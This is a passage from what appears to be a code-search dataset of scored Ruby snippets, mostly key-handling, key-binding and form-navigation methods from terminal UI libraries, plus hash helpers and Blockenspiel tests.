without array\" if keycode.size == 1\n ee = []\n keycode.each do |e| \n e = e.getbyte(0) if e.is_a? String\n ee << e\n end\n bind_composite_mapping ee, args, blk\n return self\n #@_key_map[a0] ||= OrderedHash.new\n #@_key_map[a0][a1] = blk\n #$log.debug \" XX assigning #{keycode} to _key_map \" if $log.debug? \n else\n $log.debug \" assigning #{keycode} to _key_map for #{self.class}, #{@name}\" if $log.debug? \n end\n @_key_map[keycode] = blk\n @_key_args ||= {}\n @_key_args[keycode] = args\n self\n end", "title": "" }, { "docid": "d9675b8517cb267da3f0bfee08f5d45f", "score": "0.5918432", "text": "def handle_key(ch)\n # 2014-08-19 - 21:10 moving to init, so that user may override or remove\n #map_keys unless @keys_mapped\n handled = :UNHANDLED # 2011-10-4 \n if ch == ?\\C-u.getbyte(0)\n ret = universal_argument\n $log.debug \"C-u FORM set MULT to #{$multiplier}, ret = #{ret} \"\n return 0 if ret == 0\n ch = ret # unhandled char\n elsif ch >= ?\\M-1.getbyte(0) && ch <= ?\\M-9.getbyte(0)\n if $catch_alt_digits # emacs EMACS\n ret = digit_argument ch\n $log.debug \" FORM set MULT DA to #{$multiplier}, ret = #{ret} \"\n return 0 if ret == 0 # don't see this happening\n ch = ret # unhandled char\n end\n end\n\n $current_key = ch\n case ch\n when -1\n return\n when 1000, 12\n # NOTE this works if widgets cover entire screen like text areas and lists but not in \n # dialogs where there is blank space. only widgets are painted.\n # testing out 12 is C-l\n $log.debug \" form REFRESH_ALL repaint_all HK #{ch} #{self}, #{@name} \"\n repaint_all_widgets\n return\n when FFI::NCurses::KEY_RESIZE # SIGWINCH \n # note that in windows that have dialogs or text painted on window such as title or \n # box, the clear call will clear it out. these are not redrawn.\n lines = Ncurses.LINES\n cols = Ncurses.COLS\n x = Ncurses.stdscr.getmaxy\n y = Ncurses.stdscr.getmaxx\n $log.debug \" form RESIZE HK #{ch} #{self}, #{@name}, #{ch}, x #{x} y #{y} lines #{lines} , cols: #{cols} \"\n #alert \"SIGWINCH WE NEED TO RECALC AND REPAINT resize #{lines}, #{cols}: #{x}, #{y} \"\n\n # next line may be causing flicker, can we do without.\n Ncurses.endwin\n @window.wrefresh\n @window.wclear\n if @layout_manager\n @layout_manager.do_layout\n # we need to redo statusline and others that layout ignores\n else\n @widgets.each { |e| e.repaint_all(true) } # trying out\n end\n ## added RESIZE on 2012-01-5 \n ## stuff that relies on last line such as statusline dock etc will need to be redrawn.\n fire_handler :RESIZE, self \n else\n field = get_current_field\n if $log.debug?\n keycode = keycode_tos(ch)\n $log.debug \" form HK #{ch} #{self}, #{@name}, #{keycode}, field: giving to: #{field}, #{field.name} \" if field\n end\n handled = :UNHANDLED \n handled = field.handle_key ch unless field.nil? # no field focussable\n $log.debug \"handled inside Form #{ch} from #{field} got #{handled} \"\n # some widgets like textarea and list handle up and down\n if handled == :UNHANDLED or handled == -1 or field.nil?\n case ch\n when KEY_TAB, ?\\M-\\C-i.getbyte(0) # tab and M-tab in case widget eats tab (such as Table)\n ret = select_next_field\n return ret if ret == :NO_NEXT_FIELD\n # alt-shift-tab or backtab (in case Table eats backtab)\n when FFI::NCurses::KEY_BTAB, 481 ## backtab added 2008-12-14 18:41 \n ret = select_prev_field\n return ret if ret == :NO_PREV_FIELD\n when FFI::NCurses::KEY_UP\n ret = select_prev_field\n return ret if ret == :NO_PREV_FIELD\n when FFI::NCurses::KEY_DOWN\n ret = select_next_field\n return ret if ret == :NO_NEXT_FIELD\n else\n #$log.debug \" before calling process_key in form #{ch} \" if $log.debug? \n ret = process_key ch, self\n # seems we need to flushinp in case composite has pushed key\n $log.debug \"FORM process_key #{ch} got ret #{ret} in #{self}, flushing input \"\n # 2014-06-01 - 17:01 added flush, maybe at some point we could do it only if unhandled\n # in case some method wishes to actually push some keys\n Ncurses.flushinp\n return :UNHANDLED if ret == :UNHANDLED\n end\n elsif handled == :NO_NEXT_FIELD || handled == :NO_PREV_FIELD # 2011-10-4 \n return handled\n end\n end\n $log.debug \" form before repaint #{self} , #{@name}, ret #{ret}\"\n repaint\n $last_key = ch\n ret || 0 # 2011-10-17 \n end", "title": "" }, { "docid": "54b760be28e83eb38dff35fd402b5f0e", "score": "0.5819469", "text": "def handle_key(key); end", "title": "" }, { "docid": "d0feee2d463e72371c48261be92198f8", "score": "0.57601655", "text": "def each\n keys = self.keys\n keys.each do |key|\n # here is the magic that gives us the key and value of the handset\n # all the way up to the fallbacks end. \n # Call the pass block with the key and value passed\n yield key, self[key]\n end\n end", "title": "" }, { "docid": "a5ee00a125c0522cebf3d0cb27a1514d", "score": "0.5746182", "text": "def handle_key ch\n $log.debug \" STACKFLOW handle_key #{ch} \"\n return if @components.empty?\n _multiplier = ($multiplier == 0 ? 1 : $multiplier )\n\n # should this go here 2011-10-19 \n unless @_entered\n $log.warn \"XXX WARN: calling ON_ENTER since in this situation it was not called\"\n on_enter\n end\n if ch == KEY_TAB\n $log.debug \"STACKFLOW GOTO NEXT TAB\"\n return goto_next_component\n elsif ch == KEY_BTAB\n return goto_prev_component\n end\n comp = @current_component\n $log.debug \" STACKFLOW handle_key #{ch}: #{comp}\" \n if comp\n ret = comp.handle_key(ch) \n $log.debug \" STACKFLOW handle_key#{ch}: #{comp} returned #{ret} \" \n if ret != :UNHANDLED\n comp.repaint # NOTE: if we don;t do this, then it won't get repainted. I will have to repaint ALL\n # in repaint of this.\n return ret \n end\n $log.debug \"XXX STACKFLOW key unhandled by comp #{comp.name} \"\n else\n $log.warn \"XXX STACKFLOW key unhandled NULL comp\"\n end\n case ch\n when ?\\C-c.getbyte(0)\n $multiplier = 0\n return 0\n when ?0.getbyte(0)..?9.getbyte(0)\n $log.debug \" VIM coming here to set multiplier #{$multiplier} \"\n $multiplier *= 10 ; $multiplier += (ch-48)\n return 0\n end\n ret = process_key ch, self\n # allow user to map left and right if he wants\n if ret == :UNHANDLED\n case ch\n when KEY_UP\n # form will pick this up and do needful\n return goto_prev_component #unless on_first_component?\n when KEY_LEFT\n # if i don't check for first component, key will go back to form,\n # but not be processes. so focussed remain here, but be false.\n # In case of returnign an unhandled TAB, on_leave will happen and cursor will move to \n # previous component outside of this.\n return goto_prev_component unless on_first_component?\n when KEY_RIGHT\n return goto_next_component #unless on_last_component?\n when KEY_DOWN\n return goto_next_component #unless on_last_component?\n else \n @_entered = false\n return :UNHANDLED\n end\n end\n\n $multiplier = 0\n return 0\n end", "title": "" }, { "docid": "3d4f50a427c9df49378f46f09fe723af", "score": "0.57246464", "text": "def test_blocks_legacy\n hash_ = ::Hash.new\n block_ = ::Proc.new do\n set_value(:a){ 1 }\n end\n ::Blockenspiel.invoke(block_) do\n add_method(:set_value, :receive_block => true) do |key_, bl_|\n hash_[key_] = bl_.call\n end\n end\n assert_equal(1, hash_[:a])\n end", "title": "" }, { "docid": "47f64059520dbc36c211a7a9b6374ad1", "score": "0.57089895", "text": "def key=(_); end", "title": "" }, { "docid": "47f64059520dbc36c211a7a9b6374ad1", "score": "0.57089895", "text": "def key=(_); end", "title": "" }, { "docid": "0d25302cde0f4a74709891043652d26e", "score": "0.56371105", "text": "def key=(_arg0); end", "title": "" }, { "docid": "0d25302cde0f4a74709891043652d26e", "score": "0.56371105", "text": "def key=(_arg0); end", "title": "" }, { "docid": "0d25302cde0f4a74709891043652d26e", "score": "0.56371105", "text": "def key=(_arg0); end", "title": "" }, { "docid": "6875de5a11b2c264790f0bd7c18ba99f", "score": "0.5587538", "text": "def test_blocks_normal\n hash_ = ::Hash.new\n block_ = ::Proc.new do\n set_value1(:a){ 1 }\n set_value2(:b){ 2 }\n set_value2(:c)\n end\n ::Blockenspiel.invoke(block_) do\n add_method(:set_value1) do |key_, &bl_|\n hash_[key_] = bl_.call\n end\n add_method(:set_value2) do |key_, &bl_|\n hash_[key_] = bl_ ? true : false\n end\n end\n assert_equal(1, hash_[:a])\n assert_equal(true, hash_[:b])\n assert_equal(false, hash_[:c])\n end", "title": "" }, { "docid": "63882aabf1017e745675fb4513c916b9", "score": "0.5576369", "text": "def handle_key(ch)\n @current_index ||= 0\n # added 2009-01-18 22:44 no point moving horiz or passing up to Field if not edit\n if !@editable\n if ch == KEY_LEFT or ch == KEY_RIGHT\n return :UNHANDLED\n end\n end\n case @arrow_key_policy \n when :ignore\n if ch == KEY_DOWN or ch == KEY_UP\n return :UNHANDLED\n end\n when :popup\n if ch == KEY_DOWN or ch == KEY_UP\n popup\n end\n end\n case ch\n #when KEY_UP # show previous value\n # previous_row\n #when KEY_DOWN # show previous value\n # next_row\n # adding spacebar to popup combo, as in microemacs 2010-10-01 13:21 \n when 32, KEY_DOWN+ META_KEY # alt down\n popup # pop up the popup\n else\n super\n end\n end", "title": "" }, { "docid": "00c91df71fdf2b4c45f060177fb6344c", "score": "0.5569515", "text": "def handle_key ch\n $log.debug \"inside handle key of field with #{ch}\"\n @repaint_required = true \n case ch\n when 32..126\n putc ch\n when 27 # cannot bind it, so hardcoding it here\n restore_original_value\n else\n ret = super\n return ret\n end\n 0 # 2008-12-16 23:05 without this -1 was going back so no repaint\n end", "title": "" }, { "docid": "f25174ef90fd6462541443472ca6490e", "score": "0.5535049", "text": "def handle_key ch\n kh = @component || @form\n ret = kh.handle_key(ch)\n # forms seem to returning a nil when the pad has been updated. We need to copy it\n ret ||= 0\n if ret == 0 \n @component.repaint if @component\n display_form false if @form\n end\n # XXX i need to call repaint of compoent if updated !!\n return ret\n end", "title": "" }, { "docid": "6fccb59e99dd0b6d41b4968e9873908a", "score": "0.5493378", "text": "def each_key(&block); end", "title": "" }, { "docid": "b285060b4d8aa8b2bab3b5dd53d30cc6", "score": "0.54716134", "text": "def handle_key(ch)\n @current_index ||= 0\n # added 2009-01-18 22:44 no point moving horiz or passing up to Field if not edit\n if !@editable\n if ch == KEY_LEFT or ch == KEY_RIGHT\n return :UNHANDLED\n end\n end\n case ch\n #when KEY_UP # show previous value\n # previous_row\n #when KEY_DOWN # show previous value\n # next_row\n # adding spacebar to popup combo, as in microemacs 2010-10-01 13:21 \n when 32, KEY_DOWN+ RubyCurses::META_KEY # alt down\n popup # pop up the popup\n else\n super\n end\n end", "title": "" }, { "docid": "df409f7136109aea3ab70904276d64b9", "score": "0.54596996", "text": "def handle_key ch\n # if this gets key it should just hand it to child\n if @child != nil\n ret = @child.handle_key ch\n # 2010-01-19 19:26 commenting off repaint to see.\n return :UNHANDLED if ret == :UNHANDLED\n # moved below return so only if table handles\n @repaint_required=true # added 2009-12-27 22:25 BUFFERED WHY ??\n else\n return :UNHANDLED\n end\n return 0\n #$log.debug \"TV after loop : curpos #{@curpos} blen: #{@buffer.length}\"\n end", "title": "" }, { "docid": "18c3173c014c07423bf8030608cc6392", "score": "0.5445568", "text": "def hmget(key, *fields, &blk); end", "title": "" }, { "docid": "6eef551797693e9a1d7b05c3a4d46fc4", "score": "0.5434978", "text": "def hash_mapped(hash, prc, &block)\n new_hash = {}\n hash.each do |k, v|\n new_hash[block.call[k]] = prc.call(v)\n end \n new_hash\nend", "title": "" }, { "docid": "729b0bc148c128278ed915567086360d", "score": "0.54060566", "text": "def each_key\n return enum_for(__method__) unless block_given?\n @raw.each_key do |key|\n yield key\n end\n self\n end", "title": "" }, { "docid": "b042562691a1cb4751e3c5beb7a103e5", "score": "0.5403798", "text": "def map_keys\n return if @keys_mapped\n bind_key(KEY_F1, 'help') { hm = help_manager(); hm.display_help }\n bind_keys([?\\M-?,?\\?], 'show field help') { \n #if get_current_field.help_text \n #textdialog(get_current_field.help_text, 'title' => 'Help Text', :bgcolor => 'green', :color => :white) \n #else\n print_key_bindings\n #end\n }\n bind_key(FFI::NCurses::KEY_F9, \"Print keys\", :print_key_bindings) # show bindings, tentative on F9\n bind_key(?\\M-:, 'show menu') {\n fld = get_current_field\n am = fld.action_manager()\n #fld.init_menu\n am.show_actions\n }\n @keys_mapped = true\n end", "title": "" }, { "docid": "ad7089bed264c1182475a481e90ee464", "score": "0.53551495", "text": "def post_key\n# $log.debug \"1 post_key w:#{@winrow} p:#{@prow} t:#{@toprow}\"\n @toprow = @prow if @prow < @toprow # ensre search could be \n @toprow = @prow if @prow > @toprow + @scrollatrow \n @winrow = @prow - @toprow\n# $log.debug \"2 post_key w:#{@winrow} p:#{@prow} t:#{@toprow}\"\n # wont work first time - added 2008-11-26 20:56 \n if @oldprow != @prow\n $log.debug \"going to call on leave and on enter\"\n on_leave_row @oldprow if respond_to? :on_leave_row # to be defined by widget that has included this\n on_enter_row @prow if respond_to? :on_enter_row # to be defined by widget that has included this\n end\n #@form.row = @winrow\n set_form_row\n\n end", "title": "" }, { "docid": "d46901c85dec9cafb4d031abda0be6da", "score": "0.5316111", "text": "def handle_key ch\n return :UNHANDLED unless @content\n map_keys unless @mapped_keys\n\n @maxrow = @content_rows - @rows\n @maxcol = @content_cols - @cols \n\n # need to understand the above line, can go below zero.\n # all this seems to work fine in padreader.rb in util.\n # somehow maxcol going to -33\n @oldrow = @prow\n @oldcol = @pcol\n $log.debug \"XXX: PAD got #{ch} prow = #{@prow}\"\n begin\n case ch\n when key(?l)\n # TODO take multipler\n #@pcol += 1\n if @curpos < @cols\n @curpos += 1\n end\n when key(?$)\n #@pcol = @maxcol - 1\n @curpos = [@content[@current_index].size, @cols].min\n when key(?h)\n # TODO take multipler\n if @curpos > 0\n @curpos -= 1\n end\n when key(?0)\n @curpos = 0\n when ?0.getbyte(0)..?9.getbyte(0)\n if ch == ?0.getbyte(0) && $multiplier == 0\n # copy of C-a - start of line\n @repaint_required = true if @pcol > 0 # tried other things but did not work\n @pcol = 0\n return 0\n end\n # storing digits entered so we can multiply motion actions\n $multiplier *= 10 ; $multiplier += (ch-48)\n return 0\n when ?\\C-c.getbyte(0)\n $multiplier = 0\n return 0\n else\n # check for bindings, these cannot override above keys since placed at end\n begin\n ret = process_key ch, self\n $multiplier = 0\n ## If i press C-x > i get an alert from rwidgets which blacks the screen\n # if i put a padrefresh here it becomes okay but only for one pad,\n # i still need to do it for all pads.\n rescue => err\n $log.error \" TEXTPAD ERROR INS #{err} \"\n $log.debug(err.backtrace.join(\"\\n\"))\n textdialog [\"Error in TextPad: #{err} \", *err.backtrace], :title => \"Exception\"\n end\n ## NOTE if textpad does not handle the event and it goes to form which pops\n # up a messagebox, then padrefresh does not happen, since control does not \n # come back here, so a black rect is left on screen\n return :UNHANDLED if ret == :UNHANDLED\n end\n bounds_check\n rescue => err\n $log.error \" TEXTPAD ERROR 111 #{err} \"\n $log.debug( err) if err\n $log.debug(err.backtrace.join(\"\\n\")) if err\n textdialog [\"Error in TextPad: #{err} \", *err.backtrace], :title => \"Exception\"\n $error_message.value = \"\"\n ensure\n padrefresh\n Ncurses::Panel.update_panels\n end\n return 0\n end", "title": "" }, { "docid": "ff9082dcac85efd680975ba7dee52913", "score": "0.5309465", "text": "def _handle_key ch\n begin\n ret = process_key ch, self\n $multiplier = 0\n bounds_check\n rescue => err\n $log.error \" TEXTPAD ERROR _handle_key #{err} \"\n $log.debug(err.backtrace.join(\"\\n\"))\n alert \"#{err}\"\n #textdialog [\"Error in TextPad: #{err} \", *err.backtrace], :title => \"Exception\"\n ensure\n padrefresh\n Ncurses::Panel.update_panels\n end\n return 0\n end", "title": "" }, { "docid": "e22966a7dce516e63be52357d4a8f97c", "score": "0.5292277", "text": "def key=(key); end", "title": "" }, { "docid": "b9990bf7495e2a3659bdad2d265f0d27", "score": "0.52705914", "text": "def _key(*args); args.hash; end", "title": "" }, { "docid": "d48e8e6b5b5927a7c995d530b924ef63", "score": "0.52687377", "text": "def map_keys\n super\n @keys_mapped = true\n bind_key($row_selector, 'toggle row selection'){ toggle_row_selection() }\n bind_key(KEY_ENTER, 'toggle expanded state') { toggle_expanded_state() }\n bind_key(?o, 'toggle expanded state') { toggle_expanded_state() }\n bind_key(?f, 'first row starting with char'){ set_selection_for_char() }\n #bind_key(?\\M-v, 'one key selection toggle'){ @one_key_selection = !@one_key_selection }\n bind_key(?O, 'expand children'){ expand_children() }\n bind_key(?X, 'collapse children'){ collapse_children() }\n bind_key(?>, :scroll_right)\n bind_key(?<, :scroll_left)\n # TODO\n bind_key(?x, 'collapse parent'){ collapse_parent() }\n bind_key(?p, 'goto parent'){ goto_parent() }\n # # commented since textpad is now calling this\n # this can be brought back into include and used from other textpad too.\n #require 'canis/core/include/listbindings'\n #bindings\n end", "title": "" }, { "docid": "d2f31665a7658a940ea841c4bc7e31d6", "score": "0.5249216", "text": "def handle_key key\n key\n end", "title": "" }, { "docid": "3a54314c3b17e1d4e7d0181246d89f48", "score": "0.52360755", "text": "def key?(p0) end", "title": "" }, { "docid": "7f0f06d1cb60787b95ab5364d10471fa", "score": "0.51700735", "text": "def keypress &block\n @keyblock = block\n end", "title": "" }, { "docid": "f80046b74f5b7b1ae5d907cfa6799e8f", "score": "0.5164789", "text": "def transform_keys(&block); end", "title": "" }, { "docid": "71844acef6a6045ac7f9b61b2c6ac697", "score": "0.51639265", "text": "def key_inputs; end", "title": "" }, { "docid": "e644fcc84c0d5827e5f510cb3516c84d", "score": "0.51468927", "text": "def handle_key(ch)\n @current_tab ||= @form # first we cycle buttons\n $log.debug \" handle_key in tabbed pane got : #{ch}\"\n # needs to go to component\n ret = @current_tab.handle_key(ch)\n $log.debug \" -- form.handle_key in tabbed pane got ret : #{ret} , #{@current_tab} , #{ch} \"\n\n # components will usually return UNHANDLED for a tab or btab\n # We need to convert it so the main form can use it\n if @current_tab != @form\n if ret == :UNHANDLED\n if ch == KEY_TAB #or ch == KEY_DOWN\n ret = :NO_NEXT_FIELD\n elsif ch == KEY_BTAB #or ch == KEY_UP # btab\n ret = :NO_PREV_FIELD\n end\n end\n else\n # key down pressed in top form, go to tab\n if ch == KEY_DOWN\n ret = :NO_NEXT_FIELD\n end\n end\n\n case ret\n when :NO_NEXT_FIELD\n if @current_tab != @form\n ## if no next field on a subform go to first button of main form\n @old_tab = @current_tab\n @current_tab = @form\n @form.req_first_field\n #@form.select_next_field\n else\n # on top button panel - no more buttons, go to tabs first field\n if @old_tab # in case of empty tabbed pane old_tab was nil\n @current_tab = @old_tab\n @current_tab.set_focus :FIRST\n end\n end\n when :NO_PREV_FIELD\n if @current_tab != @form\n $log.debug \"TP 1 no prev field - going to last button \"\n @old_tab = @current_tab\n @current_tab = @form\n @form.req_last_field\n else\n # on top button panel - no prev buttons, go to tabs last field\n if @old_tab # in case of one tab\n @current_tab = @old_tab\n @current_tab.set_focus :LAST\n end\n end\n when :UNHANDLED\n $log.debug \" unhandled in tabbed pane #{ch}\"\n ret = @form.process_key ch, self # field\n \n return ret if ret == :UNHANDLED\n end\n if @buttonpad.modified\n button_form_repaint\n end\n end", "title": "" }, { "docid": "8f2fee12fbbd8299d3cdb6220399c491", "score": "0.5143468", "text": "def key?(*) end", "title": "" }, { "docid": "932ed7a87747bb1d8565d8e9cd211575", "score": "0.5143223", "text": "def post_key_check(key)\n if scan(/\\[\\]/) # a[b][] indicates that b is an array\n container(key, Array)\n nil\n elsif check(/\\[[^\\]]/) # a[b] indicates that a is a hash\n container(key, Hash)\n nil\n else # End of key? We do nothing.\n key\n end\n end", "title": "" }, { "docid": "ba677c80d280d99e3c00dbe4a37f5ed0", "score": "0.51422065", "text": "def key_coercions=(_arg0); end", "title": "" }, { "docid": "1749944ee46cdd4e67af95078a0540a4", "score": "0.5141434", "text": "def kmap\n return map unless block_given?\n map { |k, v| [yield(k), v] }.to_h\n end", "title": "" }, { "docid": "ed96ceedee28533a1858f47cc87eecc6", "score": "0.51100296", "text": "def handle_key ch\n case ch\n when KEY_DOWN\n # form will not do a next_field, it will ignore this\n return :NO_NEXT_FIELD\n when KEY_RIGHT\n @form.select_next_field\n when KEY_LEFT\n @form.select_prev_field\n when KEY_ENTER, 10, 13, 32 # added space bar also\n if respond_to? :fire\n fire\n end\n else\n # all thrse will be re-evaluated by form\n return :UNHANDLED\n end\n end", "title": "" }, { "docid": "c6b1559961568db234f47c7478dc3c47", "score": "0.5064676", "text": "def key(*seqs, &block)\n seqs.each do |seq|\n if keycode = NAMED_KEYS[seq]\n seq = keycode\n end\n\n level = @trie_root\n\n seq.each_char do |c|\n level = (level[c] ||= {})\n end\n\n level[:handler] = block\n end\n end", "title": "" }, { "docid": "22fc500a8f84e8742dd217e427f53ce6", "score": "0.5055977", "text": "def transform_keys!(&block); end", "title": "" }, { "docid": "8e8d4935d16d934b18466c983d3e5c09", "score": "0.5044756", "text": "def test_blocks_nil\n hash_ = ::Hash.new\n block_ = ::Proc.new do\n set_value1(:a)\n set_value2(:b)\n end\n ::Blockenspiel.invoke(block_) do\n add_method(:set_value1, :block => :first) do |bl_, key_|\n assert_nil(bl_)\n end\n add_method(:set_value2, :block => :last) do |key_, bl_|\n assert_nil(bl_)\n end\n end\n assert_nil(hash_[:a])\n assert_nil(hash_[:b])\n end", "title": "" }, { "docid": "ce57860528a56934fde3c266208bbd5f", "score": "0.5037556", "text": "def test_mod_with_proc\n @hash_builder.values_mod = Proc.new {|element| return (element.to_i * 2).to_s}\n map = @hash_builder.hash\n flunk \"Never gets here\"\n # because return in Proc stops process and returns value to test_mod_with_proc caller\n end", "title": "" }, { "docid": "34fa056b0f19d24fd74a88825077fd32", "score": "0.5028771", "text": "def method_missing(key, *args, &block)\n key = key.to_s\n if key[-1] == '='\n # This is a set method\n set(key[0..-2], *args)\n else\n args.push(Proc.new(&block)) if block\n return call(key, *args) if args.length > 0\n get(key)\n end\n end", "title": "" }, { "docid": "6e5602da5a1761b6db8a7727bff5142b", "score": "0.50181645", "text": "def my_map_mod(p = nil)\n return to_enum(:my_map) unless block_given? || p\n\n result = []\n if block_given?\n if self.is_a? Hash\n my_each { |k,v| result << yield(k, v) }\n else # self is array\n my_each { |elem| result << yield(elem) }\n end\n elsif proc\n if self.is_a? Hash\n my_each { |k,v| result << p.call(k, v) }\n else # self is array\n my_each { |elem| result << p.call(elem) }\n end\n end\n result\n end", "title": "" }, { "docid": "2966e48dc420fd6274c407e58f83b7cd", "score": "0.5011395", "text": "def rl_generic_bind(type, keyseq, data, map)\r\n map[keyseq] = data\r\n 0\r\n end", "title": "" }, { "docid": "194e3979e565ba2fd46096f993dbaa9b", "score": "0.49949473", "text": "def hashcode_with_internal_hashes(key)\n h, full_hs = phf_with_hashes(key)\n if @g[h] == @r\n return NON_KEY, full_hs # no key\n end\n a, b = h.divmod(RANK_SUPERBLOCKSIZE)\n if a == 0\n result = 0\n else\n result = @rs[a-1]\n end\n b, c = b.divmod(RANK_BLOCKSIZE)\n if b != 0\n result += @rb[a*(RANK_SUPERBLOCKSIZE/RANK_BLOCKSIZE-1)+b-1]\n end\n (h-c).upto(h-1) {|i|\n result += 1 if @g[i] != @r\n }\n return result, full_hs\n end", "title": "" }, { "docid": "28d963e8d0a7671cb717f14566bcfa4b", "score": "0.49871174", "text": "def test_blocks_first_and_last\n hash_ = ::Hash.new\n block_ = ::Proc.new do\n set_value1(:a){ 1 }\n set_value2(:b){ 2 }\n set_value2(:c){ 3 }\n end\n ::Blockenspiel.invoke(block_) do\n add_method(:set_value1, :block => :first) do |bl_, key_|\n hash_[key_] = bl_.call\n end\n add_method(:set_value2, :block => :last) do |key_, bl_|\n hash_[key_] = bl_.call\n end\n add_method(:set_value3, :block => true) do |bl_, key_|\n hash_[key_] = bl_.call\n end\n end\n assert_equal(1, hash_[:a])\n assert_equal(2, hash_[:b])\n assert_equal(3, hash_[:c])\n end", "title": "" }, { "docid": "6b79b360efb72470470b460baa29d0c4", "score": "0.49849615", "text": "def each_key(&block)\n self.keys.each{|k| block.call(k)}\n self\n end", "title": "" }, { "docid": "be1bc1673723b2841b4fc83c48ea3947", "score": "0.49804214", "text": "def each_key(&block)\n ODBM.Fail ErrAdapterInterfaceNotImplement, \"each_key\"\n end", "title": "" }, { "docid": "9150c186d3b40128dfc11a53bd667671", "score": "0.49790546", "text": "def _hash_val(b_key, &block)\n return ((b_key[block.call(3)] << 24) | \n (b_key[block.call(2)] << 16) | \n (b_key[block.call(1)] << 8) | \n (b_key[block.call(0)])) \n end", "title": "" }, { "docid": "fefa1fefa12278c54ef8ef3547f1335c", "score": "0.49617237", "text": "def change_keyboard_control! (**hash)\n super(*value_param(KB, hash))\n end", "title": "" }, { "docid": "8db8b11c904271d489ad1df0a58cb2c4", "score": "0.49459112", "text": "def on_key(&block)\n @on_key = block\n end", "title": "" }, { "docid": "8cb20831705fec6e16a8b41625776e6a", "score": "0.49204722", "text": "def each_value(&block)\n self.keys.each{|k| block.call(self[k])}\n self\n end", "title": "" }, { "docid": "9261f1cc3ea191462e47c2e1e520e11e", "score": "0.49188685", "text": "def possible_keys(key); end", "title": "" }, { "docid": "e9241c2f54c736ca1ad5c8e88279ebae", "score": "0.49179748", "text": "def my_map_v2(proc = nil) \n selfArr = self.entries\n (0...selfArr.length).each do |i|\n selfArr[i] = proc.call selfArr[i] if !proc.nil?\n selfArr[i] = yield(selfArr[i]) if proc.nil?\n end\n return selfArr\n end", "title": "" }, { "docid": "1a0f97ae702af55476c807fce55cdcb4", "score": "0.49124238", "text": "def hash_mapped(hash, proc_a, &prc)\n new_hash = Hash.new(0)\n\n hash.each do |k, v|\n new_k = prc.call(k)\n new_hash[new_k] = proc_a.call(v)\n end\n new_hash\nend", "title": "" }, { "docid": "81b2c22e13bf753f336904fcc3b3bd26", "score": "0.49087387", "text": "def block(_hash)\n raise Sibit::NotSupportedError, 'block() doesn\\'t work here'\n end", "title": "" }, { "docid": "2b7f40d40bbd974fef45a482ec1736ef", "score": "0.49084958", "text": "def process_key(key)\n case KeyHelper.key_symbol(key)\n when :up\n @past_menu = @cur_menu\n @cur_menu = (@cur_menu - 1) % @items.size\n when :down\n @past_menu = @cur_menu\n @cur_menu = (@cur_menu + 1) % @items.size\n when :enter\n # Erase body after call\n @past_menu = nil\n term.echo\n return :break, @items[@cur_menu].menu\n end\n\n return if key[0] != Ncurses::OK\n @items.each_with_index do |item, i|\n next unless key[2] =~ item.shortcut_regex\n @past_menu = @cur_menu\n @cur_menu = i\n end\n end", "title": "" }, { "docid": "09487475ae9fc00ed9442aa12b23d3d9", "score": "0.4907625", "text": "def test_basic_builder\n block_ = proc do\n set_value(:a, 1)\n set_value_by_block(:b){ 2 }\n end\n hash_ = Hash.new\n Blockenspiel.invoke(block_) do\n add_method(:set_value) do |key_, value_|\n hash_[key_] = value_\n end\n add_method(:set_value_by_block, :receive_block => true) do |key_, bl_|\n hash_[key_] = bl_.call\n end\n end\n assert_equal(1, hash_[:a])\n assert_equal(2, hash_[:b])\n end", "title": "" }, { "docid": "88017f41208863751c5954d3b3c6a0be", "score": "0.4907334", "text": "def bind_key(input, output=nil, resolver=@bind_resolver, &block)\n if input.is_a? Array or input.is_a? Fixnum\n input = KeyEventHandler.parse_code input\n else\n fail ArgumentError, '1st arg expect Array / Fixnum'\n end\n\n if block_given?\n output = block\n elsif output.nil?\n fail ArgumentError, 'expect 1 arg with a block / 2 args'\n elsif output.kind_of? BindResolver\n elsif output.is_a? Array or output.is_a? Fixnum\n output = KeyEventHandler.parse_code output\n elsif output == :through or output == :ignore\n else\n fail ArgumentError, '2nd arg expect Array / Fixnum / BindResolver / ' +\n 'Symbol(:through/:ignore)'\n end\n\n LOG.info \"bind_key #{input.inspect},\\t#{output.inspect}\\t#{resolver}\" if LOG.info?\n\n resolver.bind input, output\n end", "title": "" }, { "docid": "49c1b4e64367adf9a4dd29d6888f2c8d", "score": "0.49069592", "text": "def each\n @internal_hash.each { |k,_| yield k }\n end", "title": "" }, { "docid": "c966d9597d522ab0a179a0bf27f90e86", "score": "0.49045625", "text": "def each_key(&block)\n keys.each(&block)\n end", "title": "" }, { "docid": "8f6b8e193ebf58e5f1de1dd308120531", "score": "0.4893856", "text": "def process_bytes bytes, leftover=[]\n if bytes.empty?\n leftover\n elsif @keys[bytes]\n @keys[bytes].call\n leftover\n else\n process_bytes(\n bytes[0..-2],\n [bytes[-1]].concat(leftover)\n )\n end\n end", "title": "" }, { "docid": "46ff8d020ef4a6c5c047ab0488ed5ec0", "score": "0.4884559", "text": "def remap\n # This is Ruby magic for turning a hash into an array into a hash again\n Hash[*self.map do |key, value|\n yield key, value\n end.compact.flatten]\n end", "title": "" }, { "docid": "362fb0de7dbcb8f90e07c92f1c9fb6e2", "score": "0.48816094", "text": "def mget(*keys, &blk); end", "title": "" }, { "docid": "9e258a6356d330b245ed8a1a9d28fffe", "score": "0.4881581", "text": "def [] key\n\t\t\t\t@keyed[key]&.value\n\t\t\tend", "title": "" }, { "docid": "3f4bca582bc30fa9943f831bcc3ba508", "score": "0.48809466", "text": "def hmget(key, *fields); end", "title": "" }, { "docid": "7f4da9e3fae663df19bd67f1a3a92f9c", "score": "0.4866801", "text": "def key=(value); end", "title": "" }, { "docid": "8bd7df4e8e15e610419cf13100fcd894", "score": "0.48661512", "text": "def method_missing(key, *args, &block)\n if key.to_s =~ /\\A(.+)=\\z/\n self[$1] = args.first\n return args.first\n end\n if key.to_s =~ /\\A(.+)\\?\\z/\n return !!self[$1]\n end\n return self[key] if has_key?(key)\n nil\n end", "title": "" }, { "docid": "b23b49c22dfa924743645722e16ea24a", "score": "0.48599273", "text": "def set_key(key, &block)\n @callbacks[key.ord] = block\n end", "title": "" }, { "docid": "07cc71bd680585d6bea2445431be533d", "score": "0.4834976", "text": "def encode_block(state, block)\n buf = ((@dictionary.index(block[0]) + 1) ^ state.key).chr\n\n buf\n end", "title": "" }, { "docid": "ff7dd23f33dbc55dc1455a1517429a4c", "score": "0.4834333", "text": "def lut_set_proc(lut_key, block)\n lut_proc[lut_key.to_sym] = block\n end", "title": "" }, { "docid": "3725b4b192e57d14e424f3999b465c6f", "score": "0.4830604", "text": "def []( key ) send( key ); end", "title": "" }, { "docid": 